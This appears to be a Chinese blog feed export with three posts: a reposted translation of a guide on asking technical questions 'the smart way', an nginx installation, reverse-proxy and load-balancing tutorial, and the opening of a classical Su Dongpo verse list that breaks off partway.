
提问时，即使你私下非常确信已经发现一个真正的 Bug，最好写得像是你做错了什么。如果真的有 Bug，你会在回复中看到这点。这样做的话，如果真有 Bug，维护者就会向你道歉，这总比你惹恼别人然后欠别人一个道歉要好一点。

低声下气不能代替你的功课

有些人明白他们不该粗鲁或傲慢的提问并要求得到答复，但他们选择另一个极端 —— 低声下气：我知道我只是个可悲的新手，一个撸瑟，但...。这既使人困扰，也没有用，尤其是伴随着与实际问题含糊不清的描述时更令人反感。

别用原始灵长类动物的把戏来浪费你我的时间。取而代之的是，尽可能清楚地描述背景条件和你的问题情况。这比低声下气更好地定位了你的位置。

有时网页论坛会设有专为新手提问的版面，如果你真的认为遇到了初学者的问题，到那去就是了，但一样别那么低声下气。

描述问题症状而非你的猜测

告诉黑客们你认为问题是怎样造成的并没什么帮助。（如果你的推断如此有效，还用向别人求助吗？），因此要确信你原原本本告诉了他们问题的症状，而不是你的解释和理论；让黑客们来推测和诊断。如果你认为陈述自己的猜测很重要，清楚地说明这只是你的猜测，并描述为什么它们不起作用。

蠢问题

我在编译内核时接连遇到 SIG11 错误，
我怀疑某条飞线搭在主板的走线上了，这种情况应该怎样检查最好？

聪明问题

我的组装电脑是 FIC-PA2007 主机板搭载 AMD K6/233 CPU（威盛 Apollo VP2 芯片组），
256MB Corsair PC133 SDRAM 内存，在编译内核时，从开机 20 分钟以后就频频产生 SIG11 错误，
但是在头 20 分钟内从没发生过相同的问题。重新启动也没有用，但是关机一晚上就又能工作 20 分钟。
所有内存都换过了，没有效果。相关部分的标准编译记录如下…。

由于以上这点似乎让许多人觉得难以配合，这里有句话可以提醒你：所有的诊断专家都来自密苏里州。 美国国务院的官方座右铭则是：让我看看（出自国会议员 Willard D. Vandiver 在 1899 年时的讲话：我来自一个出产玉米，棉花，牛蒡和民主党人的国家，滔滔雄辩既不能说服我，也不会让我满意。我来自密苏里州，你必须让我看看。） 针对诊断者而言，这并不是一种怀疑，而只是一种真实而有用的需求，以便让他们看到的是与你看到的原始证据尽可能一致的东西，而不是你的猜测与归纳的结论。所以，大方的展示给我们看吧！

按发生时间先后列出问题症状

问题发生前的一系列操作，往往就是对找出问题最有帮助的线索。因此，你的说明里应该包含你的操作步骤，以及机器和软件的反应，直到问题发生。在命令行处理的情况下，提供一段操作记录（例如运行脚本工具所生成的），并引用相关的若干行（如 20 行）记录会非常有帮助。

如果挂掉的程序有诊断选项（如 -v 的详述开关），试着选择这些能在记录中增加调试信息的选项。记住，多不等于好。试着选取适当的调试级别以便提供有用的信息而不是让读者淹没在垃圾中。

如果你的说明很长（如超过四个段落），在开头简述问题，接下来再按时间顺序详述会有所帮助。这样黑客们在读你的记录时就知道该注意哪些内容了。

描述目标而不是过程

如果你想弄清楚如何做某事（而不是报告一个 Bug），在开头就描述你的目标，然后才陈述重现你所卡住的特定步骤。

经常寻求技术帮助的人在心中有个更高层次的目标，而他们在自以为能达到目标的特定道路上被卡住了，然后跑来问该怎么走，但没有意识到这条路本身就有问题。结果要费很大的劲才能搞定。

蠢问题

我怎样才能从某绘图程序的颜色选择器中取得十六进制的的 RGB 值？

聪明问题

我正试着用替换一幅图片的色码（color table）成自己选定的色码，我现在知道的唯一方法是编辑每个色码区块（table slot），
但却无法从某绘图程序的颜色选择器取得十六进制的的 RGB 值。

第二种提问法比较聪明，你可能得到像是建议采用另一个更合适的工具的回复。

别要求使用私人电邮回复

黑客们认为问题的解决过程应该公开、透明，此过程中如果更有经验的人注意到不完整或者不当之处，最初的回复才能够、也应该被纠正。同时，作为提供帮助者可以得到一些奖励，奖励就是他的能力和学识被其他同行看到。

当你要求私下回复时，这个过程和奖励都被中止。别这样做，让回复者来决定是否私下回答 —— 如果他真这么做了，通常是因为他认为问题编写太差或者太肤浅，以至于对其它人没有兴趣。

这条规则存在一条有限的例外，如果你确信提问可能会引来大量雷同的回复时，那么这个神奇的提问句会是向我发电邮，我将为论坛归纳这些回复。试着将邮件列表或新闻群组从洪水般的雷同回复中解救出来是非常有礼貌的 —— 但你必须信守诺言。

清楚明确的表达你的问题以及需求

漫无边际的提问是近乎无休无止的时间黑洞。最有可能给你有用答案的人通常也正是最忙的人（他们忙是因为要亲自完成大部分工作）。这样的人对无节制的时间黑洞相当厌恶，所以他们也倾向于厌恶那些漫无边际的提问。

如果你明确表述需要回答者做什么（如提供指点、发送一段代码、检查你的补丁、或是其他等等），就最有可能得到有用的答案。因为这会定出一个时间和精力的上限，便于回答者能集中精力来帮你。这么做很棒。

要理解专家们所处的世界，请把专业技能想像为充裕的资源，而回复的时间则是稀缺的资源。你要求他们奉献的时间越少，你越有可能从真正专业而且很忙的专家那里得到解答。

所以，界定一下你的问题，使专家花在辨识你的问题和回答所需要付出的时间减到最少，这技巧对你有用答案相当有帮助 —— 但这技巧通常和简化问题有所区别。因此，问我想更好的理解 X，可否指点一下哪有好一点说明？通常比问你能解释一下 X 吗？更好。如果你的代码不能运作，通常请别人看看哪里有问题，比要求别人替你改正要明智得多。

询问有关代码的问题时

别要求他人帮你调试有问题的代码，不提示一下应该从何入手。张贴几百行的代码，然后说一声：它不能工作会让你完全被忽略。只贴几十行代码，然后说一句：在第七行以后，我期待它显示 <x>，但实际出现的是 <y>比较有可能让你得到回应。

最有效描述程序问题的方法是提供最精简的 Bug 展示测试用例（bug-demonstrating test case）。什么是最精简的测试用例？那是问题的缩影；一小个程序片段能刚好展示出程序的异常行为，而不包含其他令人分散注意力的内容。怎么制作最精简的测试用例？如果你知道哪一行或哪一段代码会造成异常的行为，复制下来并加入足够重现这个状况的代码（例如，足以让这段代码能被编译/直译/被应用程序处理）。如果你无法将问题缩减到一个特定区块，就复制一份代码并移除不影响产生问题行为的部分。总之，测试用例越小越好（查看话不在多而在精一节）。

一般而言，要得到一段相当精简的测试用例并不太容易，但永远先尝试这样做的是种好习惯。这种方式可以帮助你了解如何自行解决这个问题 —— 而且即使你的尝试不成功，黑客们也会看到你在尝试取得答案的过程中付出了努力，这可以让他们更愿意与你合作。

如果你只是想让别人帮忙审查（Review）一下代码，在信的开头就要说出来，并且一定要提到你认为哪一部分特别需要关注以及为什么。

别把自己家庭作业的问题贴上来

黑客们很擅长分辨哪些问题是家庭作业式的问题；因为我们中的大多数都曾自己解决这类问题。同样，这些问题得由你来搞定，你会从中学到东西。你可以要求给点提示，但别要求得到完整的解决方案。

如果你怀疑自己碰到了一个家庭作业式的问题，但仍然无法解决，试试在使用者群组，论坛或（最后一招）在项目的使用者邮件列表或论坛中提问。尽管黑客们会看出来，但一些有经验的使用者也许仍会给你一些提示。

去掉无意义的提问句

避免用无意义的话结束提问，例如有人能帮我吗？或者这有答案吗？。

首先：如果你对问题的描述不是很好，这样问更是画蛇添足。

其次：由于这样问是画蛇添足，黑客们会很厌烦你 —— 而且通常会用逻辑上正确，但毫无意义的回答来表示他们的蔑视， 例如：没错，有人能帮你或者不，没答案。

一般来说，避免用 是或否、对或错、有或没有类型的问句，除非你想得到是或否类型的回答。

即使你很急也不要在标题写紧急

这是你的问题，不是我们的。宣称紧急极有可能事与愿违：大多数黑客会直接删除无礼和自私地企图即时引起关注的问题。更严重的是，紧急这个字（或是其他企图引起关注的标题）通常会被垃圾信过滤器过滤掉 —— 你希望能看到你问题的人可能永远也看不到。

有半个例外的情况是，如果你是在一些很高调，会使黑客们兴奋的地方，也许值得这样去做。在这种情况下，如果你有时间压力，也很有礼貌地提到这点，人们也许会有兴趣回答快一点。

当然，这风险很大，因为黑客们兴奋的点多半与你的不同。譬如从 NASA 国际空间站（International Space Station）发这样的标题没有问题，但用自我感觉良好的慈善行为或政治原因发肯定不行。事实上，张贴诸如紧急：帮我救救这个毛绒绒的小海豹！肯定让你被黑客忽略或惹恼他们，即使他们认为毛绒绒的小海豹很重要。

如果你觉得这点很不可思议，最好再把这份指南剩下的内容多读几遍，直到你弄懂了再发文。

礼多人不怪，而且有时还很有帮助

彬彬有礼，多用请和谢谢您的关注，或谢谢你的关照。让大家都知道你对他们花时间免费提供帮助心存感激。

坦白说，这一点并没有比清晰、正确、精准并合法语法和避免使用专用格式重要（也不能取而代之）。黑客们一般宁可读有点唐突但技术上鲜明的 Bug 报告，而不是那种有礼但含糊的报告。（如果这点让你不解，记住我们是按问题能教给我们什么来评价问题的价值的）

然而，如果你有一串的问题待解决，客气一点肯定会增加你得到有用回应的机会。

（我们注意到，自从本指南发布后，从资深黑客那里得到的唯一严重缺陷反馈，就是对预先道谢这一条。一些黑客觉得先谢了意味着事后就不用再感谢任何人的暗示。我们的建议是要么先说先谢了，然后事后再对回复者表示感谢，或者换种方式表达感激，譬如用谢谢你的关注或谢谢你的关照。）

问题解决后，加个简短的补充说明

问题解决后，向所有帮助过你的人发个说明，让他们知道问题是怎样解决的，并再一次向他们表示感谢。如果问题在新闻组或者邮件列表中引起了广泛关注，应该在那里贴一个说明比较恰当。

最理想的方式是向最初提问的话题回复此消息，并在标题中包含已修正，已解决或其它同等含义的明显标记。在人来人往的邮件列表里，一个看见讨论串问题 X和问题 X - 已解决的潜在回复者就明白不用再浪费时间了（除非他个人觉得问题 X的有趣），因此可以利用此时间去解决其它问题。

补充说明不必很长或是很深入；简单的一句你好，原来是网线出了问题！谢谢大家 – Bill比什么也不说要来的好。事实上，除非结论真的很有技术含量，否则简短可爱的小结比长篇大论更好。说明问题是怎样解决的，但大可不必将解决问题的过程复述一遍。

对于有深度的问题，张贴调试记录的摘要是有帮助的。描述问题的最终状态，说明是什么解决了问题，在此之后才指明可以避免的盲点。避免盲点的部分应放在正确的解决方案和其它总结材料之后，而不要将此信息搞成侦探推理小说。列出那些帮助过你的名字，会让你交到更多朋友。

除了有礼貌和有内涵以外，这种类型的补充也有助于他人在邮件列表/新闻群组/论坛中搜索到真正解决你问题的方案，让他们也从中受益。

至少，这种补充有助于让每位参与协助的人因问题的解决而从中得到满足感。如果你自己不是技术专家或者黑客，那就相信我们，这种感觉对于那些你向他们求助的大师或者专家而言，是非常重要的。问题悬而未决会让人灰心；黑客们渴望看到问题被解决。好人有好报，满足他们的渴望，你会在下次提问时尝到甜头。

思考一下怎样才能避免他人将来也遇到类似的问题，自问写一份文件或加个常见问题（FAQ）会不会有帮助。如果是的话就将它们发给维护者。

在黑客中，这种良好的后继行动实际上比传统的礼节更为重要，也是你如何透过善待他人而赢得声誉的方式，这是非常有价值的资产。

如何解读答案

RTFM 和 STFW：如何知道你已完全搞砸了

有一个古老而神圣的传统：如果你收到RTFM （Read The Fucking Manual）的回应，回答者认为你应该去读他妈的手册。当然，基本上他是对的，你应该去读一读。

RTFM 有一个年轻的亲戚。如果你收到STFW（Search The Fucking Web）的回应，回答者认为你应该到他妈的网上搜索。那人多半也是对的，去搜索一下吧。（更温和一点的说法是 Google 是你的朋友！）

在论坛，你也可能被要求去爬爬论坛的旧文。事实上，有人甚至可能热心地为你提供以前解决此问题的讨论串。但不要依赖这种关照，提问前应该先搜索一下旧文。

通常，用这两句之一回答你的人会给你一份包含你需要内容的手册或者一个网址，而且他们打这些字的时候也正在读着。这些答复意味着回答者认为

  • 你需要的信息非常容易获得；
  • 你自己去搜索这些信息比灌给你，能让你学到更多。

你不应该因此不爽；依照黑客的标准，他已经表示了对你一定程度的关注，而没有对你的要求视而不见。你应该对他祖母般的慈祥表示感谢。

如果还是搞不懂

如果你看不懂回应，别立刻要求对方解释。像你以前试着自己解决问题时那样（利用手册，FAQ，网络，身边的高手），先试着去搞懂他的回应。如果你真的需要对方解释，记得表现出你已经从中学到了点什么。

比方说，如果我回答你：看来似乎是 zentry 卡住了；你应该先清除它。，然后，这是一个很糟的后续问题回应：zentry 是什么？ 好的问法应该是这样：哦~~~我看过说明了但是只有 -z 和 -p 两个参数中提到了 zentries，而且还都没有清楚的解释如何清除它。你是指这两个中的哪一个吗？还是我看漏了什么？

处理无礼的回应

很多黑客圈子中看似无礼的行为并不是存心冒犯。相反，它是直接了当，一针见血式的交流风格，这种风格更注重解决问题，而不是使人感觉舒服而却模模糊糊。

如果你觉得被冒犯了，试着平静地反应。如果有人真的做了出格的事，邮件列表、新闻群组或论坛中的前辈多半会招呼他。如果这没有发生而你却发火了，那么你发火对象的言语可能在黑客社区中看起来是正常的，而你将被视为有错的一方，这将伤害到你获取信息或帮助的机会。

另一方面，你偶尔真的会碰到无礼和无聊的言行。与上述相反，对真正的冒犯者狠狠地打击，用犀利的语言将其驳得体无完肤都是可以接受的。然而，在行事之前一定要非常非常的有根据。纠正无礼的言论与开始一场毫无意义的口水战仅一线之隔，黑客们自己莽撞地越线的情况并不鲜见。如果你是新手或外人，避开这种莽撞的机会并不高。如果你想得到的是信息而不是消磨时光，这时最好不要把手放在键盘上以免冒险。

（有些人断言很多黑客都有轻度的自闭症或亚斯伯格综合症，缺少用于润滑人类社会正常交往所需的神经。这既可能是真也可能是假的。如果你自己不是黑客，兴许你认为我们脑袋有问题还能帮助你应付我们的古怪行为。只管这么干好了，我们不在乎。我们喜欢我们现在这个样子，并且通常对病患标记都有站得住脚的怀疑）。

Jeff Bigler 的观察总结和这个相关也值得一读 (tact filters)。

在下一节，我们会谈到另一个问题，当你行为不当时所会受到的冒犯。

如何避免扮演失败者

在黑客社区的论坛中有那么几次你可能会搞砸 —— 以本指南所描述到的或类似的方式。而你会在公开场合中被告知你是如何搞砸的，也许攻击的言语中还会带点夹七夹八的颜色。

这种事发生以后，你能做的最糟糕的事莫过于哀嚎你的遭遇、宣称被口头攻击、要求道歉、高声尖叫、憋闷气、威胁诉诸法律、向其雇主报怨、忘了关马桶盖等等。相反地，你该这么做：

熬过去，这很正常。事实上，它是有益健康且合理的。

社区的标准不会自行维持，它们是通过参与者积极而公开地执行来维持的。不要哭嚎所有的批评都应该通过私下的邮件传送，它不是这样运作的。当有人评论你的一个说法有误或者提出不同看法时，坚持声称受到个人攻击也毫无益处，这些都是失败者的态度。

也有其它的黑客论坛，受过高礼节要求的误导，禁止参与者张贴任何对别人帖子挑毛病的消息，并声称如果你不想帮助用户就闭嘴。 结果造成有想法的参与者纷纷离开，这么做只会使它们沦为毫无意义的唠叨与无用的技术论坛。

夸张的讲法是：你要的是“友善”（以上述方式）还是有用？两个里面挑一个。

记着：当黑客说你搞砸了，并且（无论多么刺耳）告诉你别再这样做时，他正在为关心你和他的社区而行动。对他而言，不理你并将你从他的生活中滤掉更简单。如果你无法做到感谢，至少要表现得有点尊严，别大声哀嚎，也别因为自己是个有戏剧性超级敏感的灵魂和自以为有资格的新来者，就指望别人像对待脆弱的洋娃娃那样对你。

有时候，即使你没有搞砸（或者只是在他的想像中你搞砸了），有些人也会无缘无故地攻击你本人。在这种情况下，抱怨倒是真的会把问题搞砸。

这些来找麻烦的人要么是毫无办法但自以为是专家的不中用家伙，要么就是测试你是否真会搞砸的心理专家。其它读者要么不理睬，要么用自己的方式对付他们。这些来找麻烦的人在给他们自己找麻烦，这点你不用操心。

也别让自己卷入口水战，最好不要理睬大多数的口水战 —— 当然，这是在你检验它们只是口水战，并且未指出你有搞砸的地方，同时也没有巧妙地将问题真正的答案藏于其后（这也是有可能的）。

不该问的问题

以下是几个经典蠢问题，以及黑客没回答时心中所想的：

问题：我能在哪找到 X 程序或 X 资源？

问题：我怎样用 X 做 Y？

问题：如何设定我的 shell 提示？

问题：我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 档案转换为 TeX 格式吗？

问题：我的程序/设定/SQL 语句没有用

问题：我的 Windows 电脑有问题，你能帮我吗？

问题：我的程序不会动了，我认为系统工具 X 有问题

问题：我在安装 Linux（或者 X ）时有问题，你能帮我吗？

问题：我怎么才能破解 root 帐号/窃取 OP 特权/读别人的邮件呢？

问题：我能在哪找到 X 程序或 X 资源？

回答：就在我找到它的地方啊，白痴 —— 搜索引擎的那一头。天哪！难道还有人不会用 Google 吗？

问题：我怎样用 X 做 Y？

回答：如果你想解决的是 Y ，提问时别给出可能并不恰当的方法。这种问题说明提问者不但对 X 完全无知，也对 Y 要解决的问题糊涂，还被特定形势禁锢了思维。最好忽略这种人，等他们把问题搞清楚了再说。

问题：如何设定我的 shell 提示？？

回答：如果你有足够的智慧提这个问题，你也该有足够的智慧去 RTFM，然后自己去找出来。

问题：我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 档案转换为 TeX 格式吗？

回答：试试看就知道了。如果你试过，你既知道了答案，就不用浪费我的时间了。

问题：我的{程序/设定/SQL 语句}不工作

回答：这不算是问题吧，我对要我问你二十个问题才找得出你真正问题的问题没兴趣 —— 我有更有意思的事要做呢。在看到这类问题的时候，我的反应通常不外如下三种

  • 你还有什么要补充的吗？
  • 真糟糕，希望你能搞定。
  • 这关我屁事？

问题：我的 Windows 电脑有问题，你能帮我吗？

回答：能啊，扔掉微软的垃圾，换个像 Linux 或 BSD 的开源操作系统吧。

注意：如果程序有官方版 Windows 或者与 Windows 有互动（如 Samba），你可以问与 Windows 相关的问题， 只是别对问题是由 Windows 操作系统而不是程序本身造成的回复感到惊讶， 因为 Windows 一般来说实在太烂，这种说法通常都是对的。

问题：我的程序不会动了，我认为系统工具 X 有问题

回答：你完全有可能是第一个注意到被成千上万用户反复使用的系统调用与函数库档案有明显缺陷的人，更有可能的是你完全没有根据。不同凡响的说法需要不同凡响的证据，当你这样声称时，你必须有清楚而详尽的缺陷说明文件作后盾。

问题：我在安装 Linux（或者 X ）时有问题，你能帮我吗？

回答：不能，我只有亲自在你的电脑上动手才能找到毛病。还是去找你当地的 Linux 使用群组者寻求实际的指导吧（你能在这儿找到使用者群组的清单）。

注意：如果安装问题与某 Linux 的发行版有关，在它的邮件列表、论坛或本地使用者群组中提问也许是恰当的。此时，应描述问题的准确细节。在此之前，先用 Linux 和所有被怀疑的硬件作关键词仔细搜索。

问题：我怎么才能破解 root 帐号/窃取 OP 特权/读别人的邮件呢？

回答：想要这样做，说明了你是个卑鄙小人；想找个黑客帮你，说明你是个白痴！

好问题与蠢问题

最后，我将透过举一些例子，来说明怎样聪明的提问；同一个问题的两种问法被放在一起，一种是愚蠢的，另一种才是明智的。

蠢问题：

我可以在哪儿找到关于 Foonly Flurbamatic 的资料？

这种问法无非想得到 STFW 这样的回答。

聪明问题：

我用 Google 搜索过 “Foonly Flurbamatic 2600”，但是没找到有用的结果。谁知道上哪儿去找对这种设备编程的资料？

这个问题已经 STFW 过了，看起来他真的遇到了麻烦。

蠢问题：

我从 foo 项目找来的源码没法编译。它怎么这么烂？

他觉得都是别人的错，这个傲慢自大的提问者。

聪明问题：

foo 项目代码在 Nulix 6.2 版下无法编译通过。我读过了 FAQ，但里面没有提到跟 Nulix 有关的问题。这是我编译过程的记录，我有什么做的不对的地方吗？

提问者已经指明了环境，也读过了 FAQ，还列出了错误，并且他没有把问题的责任推到别人头上，他的问题值得被关注。

蠢问题：

我的主机板有问题了，谁来帮我？

某黑客对这类问题的回答通常是：好的，还要帮你拍拍背和换尿布吗？，然后按下删除键。

聪明问题：

我在 S2464 主机板上试过了 X 、 Y 和 Z ，但没什么作用，我又试了 A 、 B 和 C 。请注意当我尝试 C 时的奇怪现象。显然 florbish 正在 grommicking，但结果出人意料。通常在 Athlon MP 主机板上引起 grommicking 的原因是什么？有谁知道接下来我该做些什么测试才能找出问题？

这个家伙，从另一个角度来看，值得去回答他。他表现出了解决问题的能力，而不是坐等天上掉答案。

在最后一个问题中，注意告诉我答案和给我启示，指出我还应该做什么诊断工作之间微妙而又重要的区别。

事实上，后一个问题源自于 2001 年 8 月在 Linux 内核邮件列表（lkml）上的一个真实的提问。我（Eric）就是那个提出问题的人。我在 Tyan S2464 主板上观察到了这种无法解释的锁定现象，列表成员们提供了解决这一问题的重要信息。

通过我的提问方法，我给了别人可以咀嚼玩味的东西；我设法让人们很容易参与并且被吸引进来。我显示了自己具备和他们同等的能力，并邀请他们与我共同探讨。通过告诉他们我所走过的弯路，以避免他们再浪费时间，我也表明了对他们宝贵时间的尊重。

事后，当我向每个人表示感谢，并且赞赏这次良好的讨论经历的时候， 一个 Linux 内核邮件列表的成员表示，他觉得我的问题得到解决并非由于我是这个列表中的名人，而是因为我用了正确的方式来提问。

黑客从某种角度来说是拥有丰富知识但缺乏人情味的家伙；我相信他是对的，如果我像个乞讨者那样提问，不论我是谁，一定会惹恼某些人或者被他们忽视。他建议我记下这件事，这直接导致了本指南的出现。

如果得不到回答

如果仍得不到回答，请不要以为我们觉得无法帮助你。有时只是看到你问题的人不知道答案罢了。没有回应不代表你被忽视，虽然不可否认这种差别很难区分。

总的来说，简单的重复张贴问题是个很糟的点子。这将被视为无意义的喧闹。有点耐心，知道你问题答案的人可能生活在不同的时区，可能正在睡觉，也有可能你的问题一开始就没有组织好。

你可以通过其他渠道获得帮助，这些渠道通常更适合初学者的需要。

有许多网上的以及本地的使用者群组，由热情的软件爱好者（即使他们可能从没亲自写过任何软件）组成。通常人们组建这样的团体来互相帮助并帮助新手。

另外，你可以向很多商业公司寻求帮助，不论公司大还是小。别为要付费才能获得帮助而感到沮丧！毕竟，假使你的汽车发动机汽缸密封圈爆掉了 —— 完全可能如此 —— 你还得把它送到修车铺，并且为维修付费。就算软件没花费你一分钱，你也不能强求技术支持总是免费的。

对像是 Linux 这种大众化的软件，每个开发者至少会对应到上万名使用者。根本不可能由一个人来处理来自上万名使用者的求助电话。要知道，即使你要为这些协助付费，和你所购买的同类软件相比，你所付出的也是微不足道的（通常封闭源代码软件的技术支持费用比开源软件的要高得多，且内容也没那么丰富）。

如何更好地回答问题

态度和善一点。问题带来的压力常使人显得无礼或愚蠢，其实并不是这样。

对初犯者私下回复。对那些坦诚犯错之人没有必要当众羞辱，一个真正的新手也许连怎么搜索或在哪找常见问题都不知道。

如果你不确定，一定要说出来！一个听起来权威的错误回复比没有还要糟，别因为听起来像个专家很好玩，就给别人乱指路。要谦虚和诚实，给提问者与同行都树个好榜样。

如果帮不了忙，也别妨碍他。不要在实际步骤上开玩笑，那样也许会毁了使用者的设置 —— 有些可怜的呆瓜会把它当成真的指令。

试探性的反问以引出更多的细节。如果你做得好，提问者可以学到点东西 —— 你也可以。试试将蠢问题转变成好问题，别忘了我们都曾是新手。

尽管对那些懒虫抱怨一声 RTFM 是正当的，能指出文件的位置（即使只是建议个 Google 搜索关键词）会更好。

如果你决定回答，就请给出好的答案。当别人正在用错误的工具或方法时别建议笨拙的权宜之计（workaround），应推荐更好的工具，重新界定问题。

正面的回答问题！如果这个提问者已经很深入的研究而且也表明已经试过 X 、 Y 、 Z 、 A 、 B 、 C 但没得到结果，回答 试试看 A 或是 B 或者 试试 X 、 Y 、 Z 、 A 、 B 、 C 并附上一个链接一点用都没有。

帮助你的社区从问题中学习。当回复一个好问题时，问问自己如何修改相关文件或常见问题文件以免再次解答同样的问题？，接着再向文件维护者发一份补丁。

如果你是在研究一番后才做出的回答，展现你的技巧而不是直接端出结果。毕竟授人以鱼不如授人以渔。

相关资源

如果你需要个人电脑、Unix 系统和网络如何运作的基础知识，参阅 Unix 系统和网络基本原理。

当你发布软件或补丁时，试着按软件发布实践操作。

鸣谢

Evelyn Mitchel 贡献了一些愚蠢问题例子并启发了编写如何更好地回答问题这一节， Mikhail Ramendik 贡献了一些特别有价值的建议和改进。

]]> 转载 转载 nginx的使用 /2020/07/12/nginx-de-shi-yong/

1.Nginx是什么？

1.1 nginx是一款高性能的http服务器/反向代理服务器一家电子邮件的（IMAP/POP3）代理服务器。有实验表明Nginx能够支持5W条链接的并发，并且对CPU,内存等资源消耗非常低，运行非常稳定，基本不用重启。

2.Nginx的下载

进入http://nginx.org/en/download.html 下载nginx
img

3.Nginx安装

3.1 nginx安装环境

nginx是C语言开发，建议在linux上运行.

gcc

安装nginx需要先将官网下载的源码进行编译，编译依赖gcc环境，如果没有gcc环境，需要安装gcc：yum –y install gcc-c++

PCRE

PCRE(Perl Compatible Regular Expressions)是一个Perl库，包括 perl 兼容的正则表达式库。nginx的http模块使用pcre来解析正则表达式，所以需要在linux上安装pcre库。

yum install -y pcre pcre-devel

注：pcre-devel是使用pcre开发的一个二次开发库。nginx也需要此库。

zlib

zlib库提供了很多种压缩和解压缩的方式，nginx使用zlib对http包的内容进行gzip，所以需要在linux上安装zlib库。

yum install -y zlib zlib-devel

openssl

OpenSSL 是一个强大的安全套接字层密码库，囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议，并提供丰富的应用程序供测试或其它目的使用。

nginx不仅支持http协议，还支持https（即在ssl协议上传输http），所以需要在linux安装openssl库。

yum install -y openssl openssl-devel

3.2 编译安装

将nginx-1.8.0.tar.gz拷贝至linux服务器。

解压：

tar -zxvf nginx-1.8.0.tar.gz

cd nginx-1.8.0

1、 configure

./configure –help查询详细参数（参考本教程附录部分：nginx编译参数）

参数设置如下：

./configure \--prefix=/usr/local/nginx \--pid-path=/var/run/nginx/nginx.pid \--lock-path=/var/lock/nginx.lock \--error-log-path=/var/log/nginx/error.log \--http-log-path=/var/log/nginx/access.log \--with-http_gzip_static_module \--http-client-body-temp-path=/var/temp/nginx/client \--http-proxy-temp-path=/var/temp/nginx/proxy \--http-fastcgi-temp-path=/var/temp/nginx/fastcgi \--http-uwsgi-temp-path=/var/temp/nginx/uwsgi \--http-scgi-temp-path=/var/temp/nginx/scgi

注意：上边将临时文件目录指定为/var/temp/nginx，需要在/var下创建temp及nginx目录

mkdir -p /var/temp/nginx

2、 编译安装

make

make install

安装成功查看安装目录

3.3 启动nginx

cd /usr/local/nginx/sbin/

./nginx

查询nginx进程：

15098是nginx主进程的进程id，15099是nginx工作进程的进程id

注意：

执行./nginx启动nginx，这里可以-c指定加载的nginx配置文件，如下：

./nginx -c /usr/local/nginx/conf/nginx.conf

如果不指定-c，nginx在启动时默认加载conf/nginx.conf文件，此文件的地址也可以在编译安装nginx时指定./configure的参数（–conf-path= 指向配置文件（nginx.conf））

3.4 停止nginx

方式1，快速停止：

cd /usr/local/nginx/sbin

./nginx -s stop

此方式相当于先查出nginx进程id再使用kill命令强制杀掉进程。

方式2，完整停止(建议使用)：

cd /usr/local/nginx/sbin

./nginx -s quit

此方式停止步骤是待nginx进程处理任务完毕进行停止。

3.5 重启nginx

方式1，先停止再启动（建议使用）：

对nginx进行重启相当于先停止nginx再启动nginx，即先执行停止命令再执行启动命令。

如下：

./nginx -s quit

./nginx

方式2，重新加载配置文件：

当nginx的配置文件nginx.conf修改后，要想让配置生效需要重启nginx，使用-s reload不用先停止nginx再启动nginx即可将配置信息在nginx中生效，如下：

./nginx -s reload

4.反向代理服务器

4.1什么是反向代理

通常的代理服务器，只用于代理内部网络对Internet的连接请求，客户机必须指定代理服务器,并将本来要直接发送到Web服务器上的http请求发送到代理服务器中由代理服务器向Internet上的web服务器发起请求，最终达到客户机上网的目的。

而反向代理（Reverse Proxy）方式是指以代理服务器来接受internet上的连接请求，然后将请求转发给内部网络上的服务器，并将从服务器上得到的结果返回给internet上请求连接的客户端，此时代理服务器对外就表现为一个反向代理服务器。

如下图：

4.2 nginx+tomcat反向代理

两个tomcat服务通过nginx反向代理，本例子使用三台虚拟机进行测试，

nginx服务器：192.168.101.3

tomcat1服务器：192.168.101.5

tomcat2服务器：192.168.101.6

如下图：

4.3 启动tomcat

tomcat使用apache-tomcat-7.0.57版本，在192.168.101.5和192.168.101.6虚拟机上启动tomcat。

4.4 nginx反向代理配置

根据上边的需求在nginx.conf文件中配置反向代理，如下：

配置一个代理即tomcat1服务器

upstream tomcat_server1 {

    server 192.168.101.5:8080;}

配置一个代理即tomcat2服务器

upstream tomcat_server2 {        server 192.168.101.6:8080;    }

配置一个虚拟主机

server {    listen 80;    server_name aaa.test.com;    location / {

域名aaa.test.com的请求全部转发到tomcat_server1即tomcat1服务上

proxy_pass http://tomcat_server1;

欢迎页面，按照从左到右的顺序查找页面

            index index.jsp index.html index.htm;    }}server {    listen 80;    server_name bbb.test.com;    location / {

域名bbb.test.com的请求全部转发到tomcat_server2即tomcat2服务上

              proxy_pass http://tomcat_server2;              index index.jsp index.html index.htm;    }}

6.2.4 测试
分别修改两个tomcat下的webapps/ROOT/index.jsp的内容，使用tomcat1和tomcat2两个服务首页显示不同的内容，如下：

tomcat1下的index.jsp修改后：

tomcat2下的index.jsp修改后：

分别访问aaa.test.com、bbb.test.com测试反向代理。

请求访问aaa.test.com通过nginx代理访问tomcat1，请求访问bbb.test.com通过nginx代理访问tomcat2。

5 负载均衡

5.1 什么是负载均衡

负载均衡 建立在现有网络结构之上，它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性。

负载均衡，英文名称为Load Balance，其意思就是分摊到多个操作单元上进行执行，例如Web服务器、FTP服务器、企业关键应用服务器和其它关键任务服务器等，从而共同完成工作任务。

5.2 nginx实现负载均衡

nginx作为负载均衡服务器，用户请求先到达nginx，再由nginx根据负载配置将请求转发至 tomcat服务器。

nginx负载均衡服务器：192.168.101.3

tomcat1服务器：192.168.101.5

tomcat2服务器：192.168.101.6

5.3 配置

根据上边的需求在nginx.conf文件中配置负载均衡，如下：

upstream tomcat_server_pool{

    server 192.168.101.5:8080 weight=10;    server 192.168.101.6:8080 weight=10;    }server {    listen 80;    server_name aaa.test.com;    location / {             proxy_pass http://tomcat_server_pool;             index index.jsp index.html index.htm;    }}
5.4 测试

请求aaa.test.com，通过nginx负载均衡，将请求转发到tomcat服务器。

通过观察tomcat的访问日志或tomcat访问页面即可知道当前请求由哪个tomcat服务器受理。

]]> Nginx 苏东坡-人生赏心十六件乐事 /2020/06/30/su-dong-po-ren-sheng-shang-xin-shi-liu-jian-le-shi/ 清溪浅水行舟；

微雨竹窗夜话；

暑至临溪濯足；

雨后登楼看山；

柳荫堤畔闲行；

花坞樽前微笑；

隔江山寺闻钟；

月下东邻吹箫；

晨兴半柱茗香；

午倦一方藤枕；

开瓮勿逢陶谢；

